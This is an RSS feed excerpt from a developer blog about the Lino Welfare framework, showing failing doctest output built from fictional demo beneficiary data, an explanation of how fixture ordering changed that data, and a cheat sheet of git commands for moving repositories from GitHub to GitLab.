     ID   Personne             Remarque   Type                  Détecté par   Date
    ---- -------------------- ---------- --------------------- ------------- ------------
     1    M. Josef JONAS                  Alcohol                             22/05/2014
     2    M. Karl KAIVERS                 Santé                               22/05/2014
     3    M. Guido LAMBERTZ               Dettes                              22/05/2014
     4    Mme Line LAZARUS                Problèmes familiers                 22/05/2014
     5    M. Marc MALMENDIER              Alcohol                             22/05/2014
     6    M. Josef JONAS                  Santé                               22/05/2014
     7    M. Karl KAIVERS                 Dettes                              22/05/2014
     8    M. Guido LAMBERTZ               Problèmes familiers                 22/05/2014
     9    Mme Line LAZARUS                Alcohol                             22/05/2014
     10   M. Marc MALMENDIER              Santé                               22/05/2014
     11   M. Josef JONAS                  Dettes                              22/05/2014
     12   M. Karl KAIVERS                 Problèmes familiers                 22/05/2014
     13   M. Guido LAMBERTZ               Alcohol                             22/05/2014
     14   Mme Line LAZARUS                Santé                               22/05/2014
     15   M. Marc MALMENDIER              Dettes                              22/05/2014
     16   M. Josef JONAS                  Problèmes familiers                 22/05/2014
     17   M. Karl KAIVERS                 Alcohol                             22/05/2014
     18   M. Guido LAMBERTZ               Santé                               22/05/2014
     19   Mme Line LAZARUS                Dettes                              22/05/2014
     20   M. Marc MALMENDIER              Problèmes familiers                 22/05/2014
    ==== ==================== ========== ===================== ============= ============
    &amp;lt;BLANKLINE&amp;gt;
**********************************************************************
File &amp;quot;docs/specs/welcht/cv2.rst&amp;quot;, line 120, in cv2.rst
Failed example:
    rt.login(&amp;#39;robin&amp;#39;).show(cv.ObstaclesByPerson, hildegard)
Expected:
    ===================== ============= ============ ==========
     Type                  Détecté par   Date         Remarque
    --------------------- ------------- ------------ ----------
     Dettes                              22/05/2014
     Problèmes familiers                 22/05/2014
     Alcohol                             22/05/2014
     Santé                               22/05/2014
    ===================== ============= ============ ==========
    &amp;lt;BLANKLINE&amp;gt;
Got:
    Aucun enregistrement
**********************************************************************
1 items had failures:
   2 of  22 in cv2.rst
***Test Failed*** 2 failures.

-----

======================================================================
FAIL: atelier.test.DocTestCase (docs/specs/welcht/immersion.rst)
----------------------------------------------------------------------
Traceback (most recent call last):
  File &amp;quot;/home/luc/work/atelier/atelier/test.py&amp;quot;, line 44, in func
    self.run_subprocess(args)
  File &amp;quot;/home/luc/work/rstgen/rstgen/utils.py&amp;quot;, line 230, in run_subprocess
    self.fail(msg)
AssertionError: /home/luc/virtualenvs/py3/bin/python -m doctest docs/specs/welcht/immersion.rst ({}) returned 1:
-----
**********************************************************************
File &amp;quot;docs/specs/welcht/immersion.rst&amp;quot;, line 52, in immersion.rst
Failed example:
    rt.show(immersion.Contracts)
    #doctest: +ELLIPSIS +NORMALIZE_WHITESPACE +REPORT_UDIFF
Differences (unified diff with -expected +actual):
    @@ -1,11 +1,13 @@
    -==== ========================= ===================== ================== ============ ================= ===========================
    - ID   Bénéficiaire              Organisation          Début de contrat   Fin prévue   Titulaire (ISP)   Type de stage d&amp;#39;immersion
    ----- ------------------------- --------------------- ------------------ ------------ ----------------- ---------------------------
    - 1    EMONTS Daniel (128)       Bäckerei Ausdemwald   29/10/2012         21/02/2014   Alicia Allmanns   MISIP
    - 2    EMONTS Daniel (128)       Bäckerei Mießen       22/02/2014         31/12/2014   Caroline Carnol   Mise en situation interne
    - 3    HILGERS Hildegard (133)   Rumma &amp;amp; Ko OÜ         03/12/2012         11/10/2013   Alicia Allmanns   Stage d&amp;#39;immersion
    - 4    LAZARUS Line (144)        Bäckerei Schmitz      07/01/2013         06/02/2013   Alicia Allmanns   MISIP
    - 5    RADERMACHER Guido (159)   Rumma &amp;amp; Ko OÜ         11/02/2013         06/06/2014   Alicia Allmanns   Mise en situation interne
    - 6    RADERMACHER Guido (159)   Bäckerei Ausdemwald   07/06/2014         15/04/2015   Mélanie Mélard    Stage d&amp;#39;immersion
    -==== ========================= ===================== ================== ============ ================= ===========================
    +==== ========================== ======================== ================== ============ ================= ===========================
    + ID   Bénéficiaire               Organisation             Début de contrat   Fin prévue   Titulaire (ISP)   Type de stage d&amp;#39;immersion
    +---- -------------------------- ------------------------ ------------------ ------------ ----------------- ---------------------------
    + 1    ENGELS Edgar (129)         Rumma &amp;amp; Ko OÜ            29/10/2012         21/02/2014   Alicia Allmanns   MISIP
    + 2    ENGELS Edgar (129)         Bäckerei Ausdemwald      22/02/2014         31/12/2014   Mélanie Mélard    Mise en situation interne
    + 3    LAMBERTZ Guido (142)       Belgisches Rotes Kreuz   03/12/2012         28/03/2014   Alicia Allmanns   Stage d&amp;#39;immersion
    + 4    RADERMACHER Edgard (157)   Bäckerei Ausdemwald      07/01/2013         02/05/2014   Alicia Allmanns   MISIP
    + 5    RADERMACHER Edgard (157)   Bäckerei Mießen          03/05/2014         02/06/2014   Mélanie Mélard    Mise en situation interne
    + 6    RADERMACHER Edgard (157)   Bäckerei Schmitz         03/06/2014         11/04/2015   Mélanie Mélard    Stage d&amp;#39;immersion
    + 7    RADERMECKER Rik (173)      Bäckerei Ausdemwald      11/02/2013         20/12/2013   Mélanie Mélard    MISIP
    + 8    RADERMECKER Rik (173)      Bäckerei Mießen          21/12/2013         15/04/2015   Hubert Huppertz   Mise en situation interne
    +==== ========================== ======================== ================== ============ ================= ===========================
     &amp;lt;BLANKLINE&amp;gt;
**********************************************************************
File &amp;quot;docs/specs/welcht/immersion.rst&amp;quot;, line 74, in immersion.rst
Failed example:
    print(str(obj.company))
Expected:
    Rumma &amp;amp; Ko OÜ
Got:
    Belgisches Rotes Kreuz
**********************************************************************
1 items had failures:
   2 of  10 in immersion.rst
***Test Failed*** 2 failures.

-----

======================================================================
FAIL: atelier.test.DocTestCase (docs/specs/welcht/integ.rst)
----------------------------------------------------------------------
Traceback (most recent call last):
  File &amp;quot;/home/luc/work/atelier/atelier/test.py&amp;quot;, line 44, in func
    self.run_subprocess(args)
  File &amp;quot;/home/luc/work/rstgen/rstgen/utils.py&amp;quot;, line 230, in run_subprocess
    self.fail(msg)
AssertionError: /home/luc/virtualenvs/py3/bin/python -m doctest docs/specs/welcht/integ.rst ({}) returned 1:
-----
**********************************************************************
File &amp;quot;docs/specs/welcht/integ.rst&amp;quot;, line 123, in integ.rst
Failed example:
    ses.show(integ.UsersWithClients)
    #doctest: +ELLIPSIS +NORMALIZE_WHITESPACE -REPORT_UDIFF
Expected:
    ==================== ============ =========== ======== ========= ========= ================= ================ ========
     Coach                Évaluation   Formation   Search   Travail   Standby   Primary clients   Active clients   Total
    -------------------- ------------ ----------- -------- --------- --------- ----------------- ---------------- --------
     Alicia Allmanns      **1**        **1**                          **1**     **3**             **3**            **7**
     Hubert Huppertz      **1**        **3**       **4**    **2**     **1**     **11**            **11**           **19**
     Mélanie Mélard       **2**                    **2**    **4**     **3**     **11**            **11**           **18**
     **Total (3 rows)**   **4**        **4**       **6**    **6**     **5**     **25**            **25**           **44**
    ==================== ============ =========== ======== ========= ========= ================= ================ ========
    &amp;lt;BLANKLINE&amp;gt;
Got:
    ==================== ============ =========== ======== ========= ========= ================= ================ ========
     Coach                Évaluation   Formation   Search   Travail   Standby   Primary clients   Active clients   Total
    -------------------- ------------ ----------- -------- --------- --------- ----------------- ---------------- --------
     Alicia Allmanns      **1**                             **1**     **1**     **3**             **3**            **7**
     Hubert Huppertz      **4**        **4**       **6**                        **14**            **14**           **17**
     Mélanie Mélard       **1**        **2**       **2**    **3**     **2**     **10**            **10**           **19**
     **Total (3 rows)**   **6**        **6**       **8**    **4**     **3**     **27**            **27**           **43**
    ==================== ============ =========== ======== ========= ========= ================= ================ ========
    &amp;lt;BLANKLINE&amp;gt;
**********************************************************************
File &amp;quot;docs/specs/welcht/integ.rst&amp;quot;, line 147, in integ.rst
Failed example:
    ses.show(integ.ActivityReport, stripped=True)
    #doctest: +ELLIPSIS +NORMALIZE_WHITESPACE +REPORT_UDIFF
Differences (unified diff with -expected +actual):
    @@ -17,8 +17,8 @@
      Coach                Évaluation   Formation   Search   Travail   Standby   Primary clients   Active clients   Total
     -------------------- ------------ ----------- -------- --------- --------- ----------------- ---------------- --------
    - Alicia Allmanns      **1**        **1**                          **1**     **3**             **3**            **7**
    - Hubert Huppertz      **1**        **3**       **4**    **2**     **1**     **11**            **11**           **19**
    - Mélanie Mélard       **2**                    **2**    **4**     **3**     **11**            **11**           **18**
    - **Total (3 rows)**   **4**        **4**       **6**    **6**     **5**     **25**            **25**           **44**
    + Alicia Allmanns      **1**                             **1**     **1**     **3**             **3**            **7**
    + Hubert Huppertz      **4**        **4**       **6**                        **14**            **14**           **17**
    + Mélanie Mélard       **1**        **2**       **2**    **3**     **2**     **10**            **10**           **19**
    + **Total (3 rows)**   **6**        **6**       **8**    **4**     **3**     **27**            **27**           **43**
     ==================== ============ =========== ======== ========= ========= ================= ================ ========
     &amp;lt;BLANKLINE&amp;gt;
**********************************************************************
1 items had failures:
   2 of  30 in integ.rst
***Test Failed*** 2 failures.

-----

======================================================================
FAIL: atelier.test.DocTestCase (docs/specs/welcht/isip_chatelet.rst)
----------------------------------------------------------------------
Traceback (most recent call last):
  File &amp;quot;/home/luc/work/atelier/atelier/test.py&amp;quot;, line 44, in func
    self.run_subprocess(args)
  File &amp;quot;/home/luc/work/rstgen/rstgen/utils.py&amp;quot;, line 230, in run_subprocess
    self.fail(msg)
AssertionError: /home/luc/virtualenvs/py3/bin/python -m doctest docs/specs/welcht/isip_chatelet.rst ({}) returned 1:
-----
**********************************************************************
File &amp;quot;docs/specs/welcht/isip_chatelet.rst&amp;quot;, line 23, in isip_chatelet.rst
Failed example:
    rt.show(isip.Contracts)
    #doctest: +ELLIPSIS +NORMALIZE_WHITESPACE -REPORT_UDIFF
Expected:
    ==== ============== ============ ============================ ================= =====================
     ID   applies from   date ended   Client                       Author            Contract Type
    ---- -------------- ------------ ---------------------------- ----------------- ---------------------
     1    29/09/2012     07/08/2013   AUSDEMWALD Alfons (116)      Hubert Huppertz   VSE Ausbildung
     2    08/08/2013     01/12/2014   AUSDEMWALD Alfons (116)      Mélanie Mélard    VSE Arbeitssuche
     3    09/10/2012     17/08/2013   COLLARD Charlotte (118)      Alicia Allmanns   VSE Lehre
     4    19/10/2012     11/02/2014   DOBBELSTEIN Dorothée (124)   Alicia Allmanns   VSE Vollzeitstudium
     5    12/02/2014     14/03/2014   DOBBELSTEIN Dorothée (124)   Caroline Carnol   VSE Sprachkurs
     6    15/03/2014     21/01/2015   DOBBELSTEIN Dorothée (124)   Caroline Carnol   VSE Ausbildung
     7    03/11/2012     26/02/2014   EMONTS-GAST Erna (152)       Alicia Allmanns   VSE Arbeitssuche
     8    13/11/2012     13/12/2012   EVERS Eberhart (127)         Alicia Allmanns   VSE Lehre
     9    23/11/2012     01/10/2013   FAYMONVILLE Luc (130*)       Mélanie Mélard    VSE Vollzeitstudium
     10   02/10/2013     25/01/2015   FAYMONVILLE Luc (130*)       Hubert Huppertz   VSE Sprachkurs
     11   08/12/2012     02/04/2014   JACOBS Jacqueline (137)      Alicia Allmanns   VSE Ausbildung
     12   03/04/2014     03/05/2014   JACOBS Jacqueline (137)      Mélanie Mélard    VSE Arbeitssuche
     13   04/05/2014     12/03/2015   JACOBS Jacqueline (137)      Mélanie Mélard    VSE Lehre
     14   18/12/2012     12/04/2014   JONAS Josef (139)            Hubert Huppertz   VSE Vollzeitstudium
     15   13/04/2014     19/02/2015   JONAS Josef (139)            Hubert Huppertz   VSE Sprachkurs
     16   28/12/2012     22/04/2014   KELLER Karl (178)            Alicia Allmanns   VSE Ausbildung
     17   12/01/2013     20/11/2013   MALMENDIER Marc (146)        Mélanie Mélard    VSE Arbeitssuche
     18   21/11/2013     16/03/2015   MALMENDIER Marc (146)        Hubert Huppertz   VSE Lehre
     19   22/01/2013     30/11/2013   RADERMACHER Alfons (153)     Alicia Allmanns   VSE Vollzeitstudium
     20   01/02/2013     27/05/2014   RADERMACHER Edgard (157)     Alicia Allmanns   VSE Sprachkurs
     21   28/05/2014     27/06/2014   RADERMACHER Edgard (157)     Hubert Huppertz   VSE Ausbildung
     22   28/06/2014     06/05/2015   RADERMACHER Edgard (157)     Hubert Huppertz   VSE Arbeitssuche
     23   16/02/2013     11/06/2014   RADERMACHER Hedi (161)       Alicia Allmanns   VSE Lehre
     24   12/06/2014     12/07/2014   RADERMACHER Hedi (161)       Hubert Huppertz   VSE Vollzeitstudium
     25   13/07/2014     21/05/2015   RADERMACHER Hedi (161)       Hubert Huppertz   VSE Sprachkurs
     26   26/02/2013     21/06/2014   DA VINCI David (165)         Alicia Allmanns   VSE Ausbildung
     27   22/06/2014     30/04/2015   DA VINCI David (165)         Alicia Allmanns   VSE Arbeitssuche
     28   08/03/2013     01/07/2014   ÖSTGES Otto (168)            Mélanie Mélard    VSE Lehre
     29   02/07/2014     01/08/2014   ÖSTGES Otto (168)            Hubert Huppertz   VSE Vollzeitstudium
     30   02/08/2014     10/06/2015   ÖSTGES Otto (168)            Hubert Huppertz   VSE Sprachkurs
    ==== ============== ============ ============================ ================= =====================
    &amp;lt;BLANKLINE&amp;gt;
Got:
    ==== ============== ============ ============================ ================= =====================
     ID   applies from   date ended   Client                       Author            Contract Type
    ---- -------------- ------------ ---------------------------- ----------------- ---------------------
     1    29/09/2012     07/08/2013   AUSDEMWALD Alfons (116)      Hubert Huppertz   VSE Ausbildung
     2    08/08/2013     01/12/2014   AUSDEMWALD Alfons (116)      Mélanie Mélard    VSE Arbeitssuche
     3    09/10/2012     17/08/2013   DOBBELSTEIN Dorothée (124)   Alicia Allmanns   VSE Lehre
     4    19/10/2012     11/02/2014   EVERS Eberhart (127)         Alicia Allmanns   VSE Vollzeitstudium
     5    12/02/2014     14/03/2014   EVERS Eberhart (127)         Caroline Carnol   VSE Sprachkurs
     6    15/03/2014     21/01/2015   EVERS Eberhart (127)         Caroline Carnol   VSE Ausbildung
     7    03/11/2012     26/02/2014   FAYMONVILLE Luc (130*)       Alicia Allmanns   VSE Arbeitssuche
     8    27/02/2014     29/03/2014   FAYMONVILLE Luc (130*)       Hubert Huppertz   VSE Lehre
     9    30/03/2014     05/02/2015   FAYMONVILLE Luc (130*)       Hubert Huppertz   VSE Vollzeitstudium
     10   13/11/2012     08/03/2014   HILGERS Hildegard (133)      Alicia Allmanns   VSE Sprachkurs
     11   09/03/2014     15/01/2015   HILGERS Hildegard (133)      Alicia Allmanns   VSE Ausbildung
     12   23/11/2012     18/03/2014   JONAS Josef (139)            Mélanie Mélard    VSE Arbeitssuche
     13   19/03/2014     18/04/2014   JONAS Josef (139)            Hubert Huppertz   VSE Lehre
     14   19/04/2014     25/02/2015   JONAS Josef (139)            Hubert Huppertz   VSE Vollzeitstudium
     15   08/12/2012     16/10/2013   LAZARUS Line (144)           Alicia Allmanns   VSE Sprachkurs
     16   17/10/2013     09/02/2015   LAZARUS Line (144)           Mélanie Mélard    VSE Ausbildung
     17   18/12/2012     17/01/2013   MEESSEN Melissa (147)        Mélanie Mélard    VSE Arbeitssuche
     18   18/01/2013     26/11/2013   MEESSEN Melissa (147)        Mélanie Mélard    VSE Lehre
     19   27/11/2013     22/03/2015   MEESSEN Melissa (147)        Mélanie Mélard    VSE Vollzeitstudium
     20   28/12/2012     05/11/2013   RADERMACHER Alfons (153)     Alicia Allmanns   VSE Sprachkurs
     21   12/01/2013     07/05/2014   RADERMACHER Fritz (158)      Alicia Allmanns   VSE Ausbildung
     22   22/01/2013     30/11/2013   RADERMACHER Hedi (161)       Alicia Allmanns   VSE Arbeitssuche
     23   01/12/2013     26/03/2015   RADERMACHER Hedi (161)       Mélanie Mélard    VSE Lehre
     24   01/02/2013     03/03/2013   VAN VEEN Vincent (166)       Alicia Allmanns   VSE Vollzeitstudium
     25   16/02/2013     25/12/2013   BRECHT Bernd (177)           Alicia Allmanns   VSE Sprachkurs
     26   26/12/2013     20/04/2015   BRECHT Bernd (177)           Hubert Huppertz   VSE Ausbildung
     27   26/02/2013     28/03/2013   DUBOIS Robin (179)           Alicia Allmanns   VSE Arbeitssuche
     28   08/03/2013     14/01/2014   JEANÉMART Jérôme (181)       Mélanie Mélard    VSE Lehre
     29   15/01/2014     10/05/2015   JEANÉMART Jérôme (181)       Hubert Huppertz   VSE Vollzeitstudium
    ==== ============== ============ ============================ ================= =====================
    &amp;lt;BLANKLINE&amp;gt;
**********************************************************************
1 items had failures:
   1 of   8 in isip_chatelet.rst
***Test Failed*** 1 failures.

-----

======================================================================
FAIL: atelier.test.DocTestCase (docs/specs/welcht/misc.rst)
----------------------------------------------------------------------
Traceback (most recent call last):
  File &amp;quot;/home/luc/work/atelier/atelier/test.py&amp;quot;, line 44, in func
    self.run_subprocess(args)
  File &amp;quot;/home/luc/work/rstgen/rstgen/utils.py&amp;quot;, line 230, in run_subprocess
    self.fail(msg)
AssertionError: /home/luc/virtualenvs/py3/bin/python -m doctest docs/specs/welcht/misc.rst ({}) returned 1:
-----
**********************************************************************
File &amp;quot;docs/specs/welcht/misc.rst&amp;quot;, line 129, in misc.rst
Failed example:
    obj.owner
Expected:
    Contract #2 (&amp;quot;Stage d&amp;#39;immersion#2 (Daniel EMONTS)&amp;quot;)
Got:
    Contract #2 (&amp;quot;Stage d&amp;#39;immersion#2 (Edgar ENGELS)&amp;quot;)
**********************************************************************
File &amp;quot;docs/specs/welcht/misc.rst&amp;quot;, line 181, in misc.rst
Failed example:
    demo_get(&amp;#39;hubert&amp;#39;, &amp;#39;api/integ/Clients&amp;#39;, json_fields, 19, **kw)
Exception raised:
    Traceback (most recent call last):
      File &amp;quot;/usr/lib/python3.6/doctest.py&amp;quot;, line 1330, in __run
        compileflags, 1), test.globs)
      File &amp;quot;&amp;lt;doctest misc.rst[39]&amp;gt;&amp;quot;, line 1, in &amp;lt;module&amp;gt;
        demo_get(&amp;#39;hubert&amp;#39;, &amp;#39;api/integ/Clients&amp;#39;, json_fields, 19, **kw)
      File &amp;quot;/home/luc/work/lino/lino/api/doctest.py&amp;quot;, line 157, in demo_get
        raise Exception(msg)
    Exception: /api/integ/Clients?fmt=json&amp;amp;limit=10&amp;amp;start=0 got 17 rows instead of [19]
**********************************************************************
1 items had failures:
   2 of  58 in misc.rst
***Test Failed*** 2 failures.

-----

======================================================================
FAIL: atelier.test.DocTestCase (docs/specs/weleup/eupen.rst)
----------------------------------------------------------------------
Traceback (most recent call last):
  File &amp;quot;/home/luc/work/atelier/atelier/test.py&amp;quot;, line 44, in func
    self.run_subprocess(args)
  File &amp;quot;/home/luc/work/rstgen/rstgen/utils.py&amp;quot;, line 230, in run_subprocess
    self.fail(msg)
AssertionError: /home/luc/virtualenvs/py3/bin/python -m doctest docs/specs/weleup/eupen.rst ({}) returned 1:
-----
**********************************************************************
File &amp;quot;docs/specs/weleup/eupen.rst&amp;quot;, line 1181, in eupen.rst
Failed example:
    walk_menu_items(&amp;#39;rolf&amp;#39;, severe=False)
    #doctest: +ELLIPSIS +NORMALIZE_WHITESPACE +REPORT_UDIFF
Differences (unified diff with -expected +actual):
    @@ -12,5 +12,5 @@
     - Büro --&amp;gt; Meine Datenkontrollliste : 0
     - Kalender --&amp;gt; Meine Termine : 6
    -- Kalender --&amp;gt; Überfällige Termine : 25
    +- Kalender --&amp;gt; Überfällige Termine : 284
     - Kalender --&amp;gt; Meine unbestätigten Termine : 4
     - Kalender --&amp;gt; Meine Aufgaben : 1
    @@ -70,5 +70,5 @@
     - Konfigurierung --&amp;gt; Büro --&amp;gt; Ereignisarten : 11
     - Konfigurierung --&amp;gt; Büro --&amp;gt; Meine Einfügetexte : 1
    -- Konfigurierung --&amp;gt; Kalender --&amp;gt; Kalenderliste : ...
    +- Konfigurierung --&amp;gt; Kalender --&amp;gt; Kalenderliste : 12
     - Konfigurierung --&amp;gt; Kalender --&amp;gt; Räume : 1
     - Konfigurierung --&amp;gt; Kalender --&amp;gt; Regelmäßige Ereignisse : 16
    @@ -140,5 +140,5 @@
     - Explorer --&amp;gt; Büro --&amp;gt; Ereignisse/Notizen : 112
     - Explorer --&amp;gt; Büro --&amp;gt; Einfügetexte : 3
    -- Explorer --&amp;gt; Kalender --&amp;gt; Kalendereinträge : 311
    +- Explorer --&amp;gt; Kalender --&amp;gt; Kalendereinträge : 588
     - Explorer --&amp;gt; Kalender --&amp;gt; Aufgaben : 37
     - Explorer --&amp;gt; Kalender --&amp;gt; Anwesenheiten : 629
    @@ -198,4 +198,4 @@
     - Explorer --&amp;gt; Schuldnerberatung --&amp;gt; Budgets : 15
     - Explorer --&amp;gt; Schuldnerberatung --&amp;gt; Einträge : 717
    -- Site --&amp;gt; Benutzersitzungen : ...
    +- Site --&amp;gt; Benutzersitzungen : 21
     &amp;lt;BLANKLINE&amp;gt;
**********************************************************************
1 items had failures:
   1 of  37 in eupen.rst
***Test Failed*** 1 failures.

-----

----------------------------------------------------------------------
Ran 155 tests in 799.894s

FAILED (failures=13)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;My next step will be to adapt those doctests and accept the fact that demo data
has changed because “some fixture(s) somewhere” had been generating data using
the pcsw.Client rows with undefined ordering, and that ordering was &lt;em&gt;not&lt;/em&gt;
exactly the same as now (which is by &lt;cite&gt;id&lt;/cite&gt;).&lt;/p&gt;
&lt;p&gt;The demo fixture for &lt;cite&gt;lino_welfare.modlib.integ&lt;/cite&gt; was doing the following&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;af = settings.SITE.demo_date(-600 + i * 5)&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;I changed this to:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;af&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SITE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;demo_date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;600&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;because otherwise we were having no tasks to see in the MyTasks table
in &lt;a class="reference external" href="https://welfare.lino-framework.org/specs/tasks.html#welfare-specs-tasks" title="(in Lino Welfare)"&gt;&lt;span&gt;Calendar tasks&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Yes, it was so difficult to find the reason because the doctests aren’t
&lt;em&gt;granular&lt;/em&gt;. The demo database covers many things at once.
One little change can cause an avalanche of doctest snippets that need to get adapted.
That can be frustrating.
But it’s part of the game with doctests, and it often brings interesting new insights.&lt;/p&gt;
&lt;p&gt;For example the demo fixture for &lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.debts.html#module-lino_welfare.modlib.debts" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.debts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
now adds a &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Notes.first_meeting&lt;/span&gt;&lt;/code&gt; note and a calendar entry for the meeting
of the &lt;a class="reference external" href="https://welfare.lino-framework.org/about/general.html#term-social-agent" title="(in Lino Welfare)"&gt;&lt;span class="xref std std-term"&gt;social agent&lt;/span&gt;&lt;/a&gt; and the &lt;a class="reference external" href="https://welfare.lino-framework.org/about/general.html#term-beneficiary" title="(in Lino Welfare)"&gt;&lt;span class="xref std std-term"&gt;beneficiary&lt;/span&gt;&lt;/a&gt;. Because the snippet in
&lt;a class="reference external" href="https://welfare.lino-framework.org/specs/debts.html#welfare-specs-debts-first-meeting" title="(in Lino Welfare)"&gt;&lt;span&gt;The first meeting of a budget&lt;/span&gt;&lt;/a&gt; was failing.  Until now it had happened
to find a budget with an actor for whom there happened to be a
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_first_meeting&lt;/span&gt;&lt;/code&gt;,
but this was actually a pure coincidence.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0415.html</guid><pubDate>Thu, 15 Apr 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, April 14, 2021</title><link>https://luc.lino-framework.org/blog/2021/0414.html</link><description>&lt;section id="wednesday-april-14-2021"&gt;
&lt;h1&gt;Wednesday, April 14, 2021&lt;a class="headerlink" href="#wednesday-april-14-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Content moved to &lt;a class="reference internal" href="0415.html"&gt;&lt;span class="doc"&gt;The mystery of the failing welfare test suite&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0414.html</guid><pubDate>Wed, 14 Apr 2021 00:00:00 +0000</pubDate></item><item><title>Monday, April 12, 2021</title><link>https://luc.lino-framework.org/blog/2021/0412.html</link><description>&lt;section id="monday-april-12-2021"&gt;
&lt;h1&gt;Monday, April 12, 2021&lt;a class="headerlink" href="#monday-april-12-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="unified-sphinx-theme-for-all-websites-of-the-lino-framework"&gt;
&lt;h2&gt;Unified Sphinx theme for all websites of the Lino framework&lt;a class="headerlink" href="#unified-sphinx-theme-for-all-websites-of-the-lino-framework" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I continued to work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4101"&gt;#4101&lt;/a&gt;, which is actually just a part of
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4085"&gt;#4085&lt;/a&gt;. Calling &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.sphinxcontrib.html#lino.sphinxcontrib.configure" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.sphinxcontrib.configure()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in a Sphinx
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/sphinx/intro.html#xfile-conf.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;conf.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file now uses the &lt;a class="reference external" href="https://insipid-sphinx-theme.readthedocs.io"&gt;insipid&lt;/a&gt; theme instead of the
&lt;a class="reference external" href="https://pydata-sphinx-theme.readthedocs.io"&gt;pydata_sphinx_theme&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="move-from-github-to-gitlab"&gt;
&lt;h2&gt;Move from GitHub to GitLab&lt;a class="headerlink" href="#move-from-github-to-gitlab" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Here is my cheat sheet for moving the next repositories from GH to GL.&lt;/p&gt;
&lt;p&gt;Change the remote and push to the new upstream:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ git remote rm origin
$ git remote add origin git@gitlab.com:lino-framework/XXX.git
$ git push -u git@gitlab.com:lino-framework/XXX.git master
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Add a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.gitlab-ci.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.gitlab-ci.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file (copy from a repo that is already on GL):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ cp ../cosi/.gitlab-ci.yml .
$ git add .gitlab-ci.yml
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Update URLs in the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-setup_info.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup_info.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. Run &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to update the
&lt;a class="reference external" href="https://dev.lino-framework.org/contrib/legal.html#xfile-README.rst" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;README.rst&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file. Then push your first changes on GitLab:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ git ci -am &amp;quot;moved from GitHub to GitLab&amp;quot;
$ git push
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
